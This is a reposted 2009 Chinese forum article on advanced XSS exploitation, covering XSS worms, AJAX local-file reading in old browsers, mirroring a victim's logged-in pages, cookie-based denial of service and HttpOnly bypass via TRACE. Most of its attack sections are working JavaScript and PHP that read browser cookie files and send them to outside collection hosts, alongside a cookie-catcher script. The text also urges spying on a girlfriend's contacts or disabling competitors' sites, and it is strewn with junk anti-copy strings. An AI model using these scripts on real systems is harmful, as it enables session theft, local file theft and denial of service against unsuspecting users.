XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
# R) l3 `0 J5 p0 d0 p3 f; {本帖最后由 racle 于 2009-5-30 09:19 编辑
9 v( @) e- X9 ?$ J. n) o
) B. N  k* \. K  c3 k) I3 V( NXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权


: \6 _% i. M% ^9 v% Y# N  ?1 l
$ r; t# t5 W; N  t  b/ e-------------------------------------------前言---------------------------------------------------------

! {$ S: N6 [3 x- x9 ?1 }
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
8 e4 e2 B0 [( \+ x8 Q! l/ P% M. e

. M0 S4 {5 {# S如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
) T3 B3 ]# B: ~http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
) ~' }$ v# k' a6 D: d( Yhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
' m8 I( X: ^( T* f1 _http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
; p& @% G# D8 c+ U+ z
7 b2 t5 Z3 N2 E% Q/ d


. X' L! ^7 r3 P! y) g' L) i! f如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
# h/ v3 U: M: K" J$ O. e/ g) M" q+ e
* Y( v& c; N" `3 x( A4 S如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
7 v4 p# \2 S/ r7 n- V5 u
2 \# D3 a8 V9 Y' N$ ~/ T, m$ T. G& LBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
$ Z) b4 y$ B- H8 l% b
QQ ZONE,校内网XSS     感染过万QQ ZONE.
9 f* I" n9 L$ W9 X# z
" R8 V: Y3 ?  |5 O  i0 t2 COWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
8 ~- f, ~7 [+ t' P( m% g
..........
# c' @/ j1 M2 i' k9 C6 g复制代码------------------------------------------介绍-------------------------------------------------------------

2 w. k. n9 _. u- X0 q' K. g什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


" M! m; Y9 p" t- V8 Z# \
& Q! r3 y) Z1 P) J, D跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
& f7 A6 f2 f5 {* B, k: z7 m


1 u, n* m- E* Q9 G; w如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
" ]: L- G+ H0 }/ p( r复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
* w8 S, \5 e5 O( x我们在这里重点探讨以下几个问题:

2 h& W, T* P8 H  o& V1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

1 O; G, }( W# v( @/ Y3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
3 l6 r0 C+ `7 E9 N; S+ D- d2 s
4        XSS漏洞在输出和输入两个方面怎么才能避免.
6 I$ B6 M$ u0 ^/ U


------------------------------------------研究正题----------------------------------------------------------


, X' E( Q5 U* R# W% C
  X6 j6 M. C! v: r* H2 {  V$ w* j通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
9 N. E8 x7 P1 ?复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
6 ]9 b5 M+ b$ w" Q) r. {' M复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
  g. M4 K: |2 F2 u* J2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
9 w* ^: {5 U4 P" y, y2 h/ R3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
1 n! H" h: q. R4 N  X
" ~/ T$ i/ y! c7 E6 c; c

: c8 V* w& o. r; f! D

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
2 z# @. }. M. g! k# d3 Q
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
% C, u) N0 X% m* Y; `* t7 x* P, _; ^
8 z1 q- F+ Q: G4 c
# ?$ N, G! E' O2 f$ W
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

: B8 C2 a8 D! P

1 S9 Q4 a; Q4 y7 t  u    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
8 k# r- e* J7 ]# R% p$ Y6 G( n


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
& w& G+ ]- p( X: n) ]/ J, P& D复制代码IE6使用ajax读取本地文件    <script>

! R4 w" l2 [) ^8 Y4 U    function $(x){return document.getElementById(x)}

9 {: s; g3 ]# @% C6 W7 V" G
" A6 M) z0 u3 `$ P5 v
    function ajax_obj(){

    var request = false;
" C3 \- v+ m7 Z0 q* K, k3 W
    if(window.XMLHttpRequest) {

; p$ X: x1 I) W0 A' }0 }    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


7 I4 p" q) H0 K# }) C0 }
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* O3 v; H+ x& P5 r1 h; u
  X; [' [" G  l5 O- D7 r( S    for(var i=0; i<versions.length; i++) {
5 x9 D2 c2 ]* ?7 F
    try {
3 f) x' p- @. H: Y
6 S$ B1 T) n& z( t. E0 {6 P    request = new ActiveXObject(versions);
8 Y  _; `0 o4 Y: a9 |/ ~+ U- i
    } catch(e) {}
( I; x( Q. y5 M  L0 S% |
    }
0 q+ b2 v: x. s) x' ~+ v1 d4 t. O7 b
    }

    return request;

    }
4 q' q& T; W! _
  m& _% J8 p; r7 l- |    var _x = ajax_obj();

    function _7or3(_m,action,argv){
$ [& V7 N; t4 u+ ^" Y: z- j; e
    _x.open(_m,action,false);
5 b1 x1 R; x: W: E6 Z! h
! O! j$ d4 p+ x' _1 T" `    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

8 o+ D: q9 H7 \# ^4 }! O    _x.send(argv);

    return _x.responseText;
) L: Z5 ], V- H
- P  {8 G  {/ d$ ?3 M1 _( c  T* F. R2 X    }


  i8 {$ U' o; P: E' f! O
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
: u/ t: R4 U9 q" r
    alert(txt);

' S9 p* @, }" q
* C; j7 n7 w' ^) c, l
/ K/ p6 u8 v$ M0 f, w% o: s9 g    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

: I* y3 U+ \' i; W9 E$ W, g

4 a3 U1 J0 F3 j$ Z; I8 o1 B9 w    function ajax_obj(){

  H# U; ~! v$ _+ F    var request = false;

    if(window.XMLHttpRequest) {

) H$ j- ^3 r$ h5 d, e    request = new XMLHttpRequest();
. Z  E" \- Y4 j3 J9 o7 ^* c  x5 `- a
    } else if(window.ActiveXObject) {
6 p' t2 |8 B& w, p* Z( \+ ]
7 \  q2 f( }, ~/ S% C    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 f! f  ~2 Y- C) o2 R% x5 H6 O

/ g0 q8 p0 K9 }9 B
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

' }3 [" i# O# p1 q    for(var i=0; i<versions.length; i++) {
2 }# d3 e- G0 `0 ~# h  J6 H
    try {
0 P4 ?- g$ N) ^: ]& r$ @9 I2 V
    request = new ActiveXObject(versions);
: V  T' l: P, ?9 M( p
% I* W; a, p8 J" f* p2 D; i, d    } catch(e) {}
$ b; S& s' b* b) ]0 V: ?) G
    }
$ W5 o9 o0 b/ @8 k- X% l7 S
    }
6 x' s; n2 f9 r  A8 F
    return request;
2 O% @+ g6 {# A7 u9 Z9 w7 J% Q
0 b# ^" D8 X" ~1 N& A! `! T5 t    }

( b0 H* n  {3 t, J& e  N    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

5 D1 i% z- r# e0 _    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
2 G) [# |* b. F: F) _3 U
; M6 ~1 y# M; @. v& l    return _x.responseText;
) E# R- p" _; \3 h5 D  d' e, ^+ G# A
    }
% R! E5 A+ N, ^. \; i6 S
2 J: F: r0 s4 B$ R' ^

$ u# V" P( C. ^/ {4 i4 o8 e    var txt=_7or3("GET","1/11.txt",null);

( n: \' L  i. c; ?, P6 i$ K4 s    alert(txt);
$ H( _' b0 K7 Q3 W! i. [5 K

7 G# z' l( G# z
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

/ i2 }3 V9 T2 K# v" p+ O

. g% V2 W# m& I" LChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

$ ]" y3 o' ^- g, Q1 z; ]; P3 E# w
* R( ^! v% k7 i7 B
/ o# Q8 C4 U& z<?   

0 s7 K3 b7 s" ~/*  
2 G: f3 Y8 c! Q5 x
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
3 f+ k+ R7 B, B1 {6 t
+ G& }- K5 h; M8 X9 e     www.inbreak.net   

3 o$ u! [* j" y$ X5 s$ C     author voidloafer@gmail.com 2009-4-22   
; P1 S% ]" b& ?! ^5 Z. \2 j
/ B' [  ~5 c$ O     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
+ c# i7 n7 o! |: C- I& t
) v% {! H2 o7 z*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
( g7 ~& b, Q6 R, X
' [2 ^/ Y0 ~. w- w0 u$ @$ f7 Uheader("Content-type: application/kxlzx");   

: _1 c+ N3 M! m$ F- i3 }6 T1 @- Q/*  

, l# T* X% b+ s, ]! M, W     set header, so just download html file,and open it at local.  
2 ]0 s& I' f1 v/ v( f; Z
; N9 e% J! O  u4 H5 s*/  
/ j: A7 `$ d& B! I
9 g0 D% Z" h: e6 a/ ^' R6 }?>   
1 k" E' ]' o. ]
( |" w1 p5 F5 n8 d; X" v<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
; ]" K5 ^5 C3 C( N+ K* ~7 J
     <input id="input" name="cookie" value="" type="hidden">   
/ S1 B. M% X. J  P9 y' g+ }4 Q% J; h
</form>   

0 M: b, m' j3 M; R* v' O<script>   

2 W8 }  S1 k8 X* D- `$ Jfunction doMyAjax(user)   
, r8 J' J) r2 b& w2 Z
{   
) S; b% P4 v5 S9 Q) E
var time = Math.random();   

/*  
$ ~, c/ f; L, F* S: s: I
3 I; K9 }, ]" ?% }7 Fthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
1 T0 C- V7 D  ^! [, ?( i  t
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
& M  Y# q$ H) J- V
and so on...  
# r, u1 O0 Y/ z0 P3 F2 X
*/  
9 x# Q4 Y1 a& o( o+ w
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

: v( Z3 _8 ^; [$ N8 q: G/ T: U9 P   

startRequest(strPer);   
  N7 w1 J! Y( v5 e. [; @
8 h: G( K1 L' n3 ?
  G! f$ c2 r0 t( U
}   

% w5 W, c/ K( T7 |   
/ p1 u) w, y( J& c: }' {0 X
function Enshellcode(txt)   

{   
$ `6 ~; a9 q: z
var url=new String(txt);   
' e4 J* Q; k/ S0 k* D2 @
# _% R  B' B) T8 z( c" _6 Gvar i=0,l=0,k=0,curl="";   

l= url.length;   

! T+ `5 ?2 T% m! D: \. d. R# b$ @for(;i<l;i++){   
  _5 V1 o- k  ]" F* \* g7 T$ o$ F
k=url.charCodeAt(i);   
% p# |' V- y. _; |# v1 o  G
/ _# [9 n$ q, w- r( K* Lif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
7 d/ ]' C* d% \3 N' C- T
2 j& K) ]6 T1 k+ b. ]+ A: k. |# R' gif (l%2){curl+="00";}else{curl+="0000";}   

! M( h% @. e/ }1 Z9 Xcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
: _( Y' b2 D& ?3 y
6 s$ E) x4 x  i4 U7 h1 \; ]4 vreturn curl;   
9 c& Z, e* V$ o8 I7 n
! L( M+ Y8 N' K- R- p; t}   

- }# x2 h4 \+ m5 K2 A7 l   

7 z7 f% N( ?: J" Z+ j   

/ Y. ?' P4 g1 x) w0 lvar xmlHttp;   
$ N' }4 F: P# Q6 z
2 H: W- k7 E$ Lfunction createXMLHttp(){   
9 o7 O' w, J( J; z
     if(window.XMLHttpRequest){   
8 N% S4 R0 l$ \& p9 R
xmlHttp = new XMLHttpRequest();           
3 U* n  n- T6 u( K6 s! ^* C  z
& Y# D) _( |* `     }   

  R& P) l+ d: s, g: }# T, {     else if(window.ActiveXObject){   

9 f) ~- j4 s0 W: L4 C3 h  e1 KxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

! {, O! s# [6 }; t- l: D     }   
1 S# ^' ~4 p/ p  l' N# ^( F
+ a4 N/ P  M/ z" v0 x}   
" u% P+ Y& o- U$ {3 |
   

4 h' }* W5 k! D) t( k) U7 |function startRequest(doUrl){   
0 x4 H& F7 {) x" ~2 N4 l
: L; Y$ R+ ?! d& ^5 e   
( [) E  i8 w, a) f1 M( T
9 B% w- b' E; o' G4 J     createXMLHttp();   


* Q- L0 L4 `( O% x; D% l$ u+ m5 D
/ t" p! l; ?; x# c, u3 `, |     xmlHttp.onreadystatechange = handleStateChange;   


) F: o  I" A1 ]; G& N& Q# j
     xmlHttp.open("GET", doUrl, true);   

$ N0 c$ g6 d7 _& B# }4 U" r" y9 N

     xmlHttp.send(null);   





  J  r/ V9 y- v  ~1 i3 p1 O# H}   
( R' a7 f6 H& g4 c
& c7 M! v9 D+ C: x   

function handleStateChange(){   
8 ?7 H$ e- I6 E# _4 \9 q' ^
     if (xmlHttp.readyState == 4 ){   

) I7 S: `/ n. |: c+ i! j8 A     var strResponse = "";   
/ Y9 P" V& R; B6 h: R% E
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

: y( ~9 o0 [5 A. {     }   

}   

2 C# |0 g% B) U# T   

5 V4 Z% K% h) I! `7 v" M' @, M8 K0 u   
: t) C* v1 c% t
function framekxlzxPost(text)   
8 o& W) \- V! B- ^2 q& A3 x
" b: [! z! x3 V3 X: ]{   

. L/ n. U6 Q* e- ?+ x     document.getElementById("input").value = Enshellcode(text);   

6 {0 i$ ?  [5 L7 Q! g) @     document.getElementById("form").submit();   
" r* t* H9 [* f& T* \; N/ m
5 k9 r# q/ Q, [2 ]. ]& K. g. i}   

   

doMyAjax("administrator");   

   

7 G% C6 {3 z2 C</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
5 q4 U( h' y# O% a- n3 {& W1 h
function createXMLHttp(){  
' I, m1 y% V" H' _8 I6 Z& l
     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
6 Z  g- f1 \# Q' g) ?" x, {1 b
     }  

1 X: |! a% u7 X* Z0 o# r8 G     else if(window.ActiveXObject){  
- O  c3 r) h$ S( ~$ Q( ~
8 `! Z9 ]- B* r/ L         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
6 G( G' \/ x; f( X' x
}  
0 i& P- y* F- G7 R8 N1 ?& {
   

function startRequest(doUrl){  
: d9 B0 a1 v& V6 B3 ~
           

3 C; ?8 c, Q7 R+ l" F; L) D% W     createXMLHttp();  

      
( S, E2 O* ~  n
/ f1 \3 ], I) Z, ~     xmlHttp.onreadystatechange = handleStateChange;  
; ^7 L$ A9 o2 s7 J. _  Y
; w9 |& h+ h& c' f' Q      

7 \7 p9 G. t1 e! J; X! @9 L4 T     xmlHttp.open("GET", doUrl, true);  

& s' ]9 u, G! k7 ?: y8 D/ u/ Z      
# L/ n) J7 s6 O/ h4 k$ T/ d
1 l/ n, X: c: E# z     xmlHttp.send(null);  
5 e% O6 \+ k1 k8 |5 l- _/ t( k/ ]
* Q. D. Y& p) X/ |$ |      
" }5 T. ^, J4 O  C5 V/ [
  F$ ~! g" H" L' y& h      
8 L3 J/ [# D* \! w" X9 e  R
}   
4 i, b: a# U# t. M4 @. v
   

function handleStateChange(){  
( O: r# r8 H% E9 d; U* R: i3 q
     if (xmlHttp.readyState == 4 ){  

, v& I/ W! U5 R2 b2 {/ A             var strResponse = "";  
0 |; B3 \, t% I; h% i
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
, G7 I# @5 Y' N  K4 Z" ?+ B8 U
! p5 w+ J4 c9 `; R1 M( }               
- \3 f2 d' p: f6 j! _! m9 [- r8 C3 O
1 v% E' q: M8 r3 l% j     }  

}  

4 {/ {" ]5 _3 [' a   

function doMyAjax(user,file)  
- I, ^) E: q9 d" i9 Z
{  

# |$ h/ ^% x: S& c4 v8 y         var time = Math.random();  
) l. ]; ?" s# M( v1 l& W
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
; E$ Y4 _7 d, {& |( Z
7 l3 @# r7 ]% O: u4 L$ V           
# u. C4 Q) K6 x  \  u9 V, v% ]
' f8 H; O& |9 }/ B         startRequest(strPer);  

      
- z4 V1 D1 l5 g: e- ~
}  

   
' U4 ~$ @2 b+ Y/ l, a5 w
function framekxlzxPost(text)  

{  
$ ]  ~2 P6 v/ M9 _# F6 E7 z
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
9 \# Q$ l9 g" }, G
}  

+ |! Q0 H1 i+ g  h  b# ^6 Z/ B9 E   
% E# q9 U+ D+ @' ~4 E$ W4 }
* N# }3 Q6 M, n  T6 {* }% E4 `doMyAjax('administrator','administrator@alibaba[1].txt');  
4 F  ?' G/ e2 q& u
% s0 W4 }2 R' n- }; D/ t   

</script>
- `0 Q; a6 [8 u" E, d9 P2 R

8 a5 _* p1 s6 e/ \  \


  X0 m! o# `# }& u; k; i9 za.php



<?php      
! e& f' x( k% W3 ^
   
% P# ]( p7 e& i2 x0 P
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

% R% G" p5 F  G: {/ D$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
/ g; ^% v  C' c/ S$ z2 C
) \) p, F; H6 W+ ^2 a: Z$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
% e! J! I7 J5 u" |( j+ i) ]' Z; w
+ U$ b* N% B/ G4 p' M* Vfclose($fp);   

: X* H( B# o- i1 `# N# z?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
* o, a' l0 E4 U& @
/ J# W8 C5 M0 S代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

. _" E5 ]4 ?- k! Q* c8 i- K- o1 G//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
+ m+ a. a' |0 T
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
# M/ ^" N# o( ~6 Y, J$ B
var image = new Image();

$ t. [! J# m) ^; ^% iimage.style.width = 0;

image.style.height = 0;

1 J- ~9 f8 R3 Kimage.src = s;
. X: M9 w0 E+ Z( S; s6 M& f
: E2 l' Q5 E) @1 y' z( T5 R}

4 d3 j, H, W- K' G& {$ L1 bgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
' }3 m: Q& I7 b
var metastr = "AAAAAAAAAA"; // 10 A
! \! I  ]! L( Y3 ~2 N; U
' Y- H# U! a" l! rvar str = "";

while (str.length < 4000){
( m" m* k+ O; ]$ f6 ]6 l9 X; I
    str += metastr;

/ R- W2 Q& P% [1 }0 r& i% B}
( R4 ?# }8 w0 W; J
4 h8 O) t( A2 b$ c' z* C& |3 _# R

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
: c7 `7 m, V8 {! ]5 l! J' v& F9 c
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
& ]7 G" o( D) h复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ t5 w% K; Y, s' Z" Rserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
  L# R( M7 |5 z3 W# X  Z# a, P' S
; c4 A) w* Q* O假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


: l* B3 _0 x" h# }- B. m0 G# p
8 ^9 h% f/ E- O( x


(III) Http only bypass 与 补救对策:

) Y1 i4 w  |+ p: Q: ?什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
, G) k$ N4 {; E: ^! s
<!--
/ ~( k- ]/ v" r3 R' i& ~/ P: b! ^- x
function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
+ k7 F/ O/ Y" h
alert(document.cookie);

& E: @6 e* R2 b1 H+ W  J}
# C/ |2 e  v- l

3 `5 \- z: ]. ^' j; X7 V
) @% ~8 B  F6 l- S2 I  q; L

  U4 \. e5 W  ufunction httpOnlyCookie() {
+ X* k/ B& h1 O6 @( S7 z# }
# ^6 \7 K) m6 m9 X/ Ddocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
! N# w/ h& P, h- i8 t5 e4 I
alert(document.cookie);}


+ R- Q5 S7 s% H& g8 q3 l+ b
//-->

* u/ s( \$ C, V5 ?4 B/ H) T. s1 t</script>


8 \& w; j) P4 j( |' q) F
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
5 C4 p. ?6 b8 O. R

: t( m+ b. e) o; C$ P" P  Z
; M$ A+ I8 ]* ?' M2 ]var request = false;
% N0 S5 Q8 Q0 _& u) q
        if(window.XMLHttpRequest) {
# C9 z) I8 C% \' Q# W. U9 c( e
1 I& w! j) j8 A            request = new XMLHttpRequest();
: K! S7 d" l( z
            if(request.overrideMimeType) {
1 ?5 h0 w. J7 {9 P+ F& z
                request.overrideMimeType('text/xml');

            }
( J4 w  e3 _0 A1 w" s5 d
/ D4 m7 ^$ R4 g        } else if(window.ActiveXObject) {
6 W; \1 y% p6 k( B- Q; m
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions);

                } catch(e) {}

            }
9 V0 X+ F; A8 j) b0 ~
: w9 H/ C. M4 q6 O        }
- Y& m3 |$ w8 T3 Q+ E
7 M5 ]: D1 H# n& n, D7 p6 hxmlHttp=request;
  g4 l! I& _: O' F3 H  S
xmlHttp.open("TRACE","http://www.vul.com",false);
6 S7 {6 {3 U  A. Y* Z
xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

; [" q7 T, M/ Balert(xmlDoc);

</script>
. r, W. Q# b6 W1 L复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
* u3 Z1 F) S$ {) \1 }* a1 i
# o8 b) z/ p0 Ivar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
) P. x5 Z) H9 E2 s
XmlHttp.open("GET","http://www.google.com",false);

+ e/ o) ?6 W# jXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

' a" ^% r" c; {: w" y, G7 w1 t9 zXmlHttp.send(null);

* I5 p/ |0 h8 H1 l# hvar resource=xmlHttp.responseText
  g; E' ^. r/ Q( \
resource.search(/cookies/);

5 A" M# x" k* T4 ~( b......................

/ p" `+ `5 D0 H! v2 L5 X' s+ `</script>


; C) @* q8 O- V; k* T- n% a! N
$ Q5 H2 L0 `/ {  B

5 U  F% {; @9 \6 O* ]4 c! v7 P如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
! E; Y  Z1 k1 i1 \  n& k5 c
, A9 Y  W- ?  n7 o* Q[code]

/ J+ g6 N! b- O2 m1 c9 e- j8 \RewriteEngine On
. T/ A3 N, b& Y: G' h$ J
RewriteCond %{REQUEST_METHOD} ^TRACE

/ b- W/ g* h) l& w. m+ Q! WRewriteRule .* - [F]


, Q1 f, r5 X& x+ k4 t/ D
2 Q- ]- N1 F2 Q& F7 k" U2 nSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

9 z3 V2 V: o9 p3 \" O0 \5 oacl TRACE method TRACE

# K5 _, \" u" D' R3 x& C3 h5 S...

http_access deny TRACE
. Q  {6 p* l, [8 Q% I复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

" v0 y. h$ N3 _& y, k# ^8 wvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
$ x8 Z( j. C: Y0 Z2 `' @5 \# ~
: T! L! _* B. q5 _# [: LXmlHttp.open("GET","http://www.google.com",false);
( Q6 {0 o1 m$ p+ K
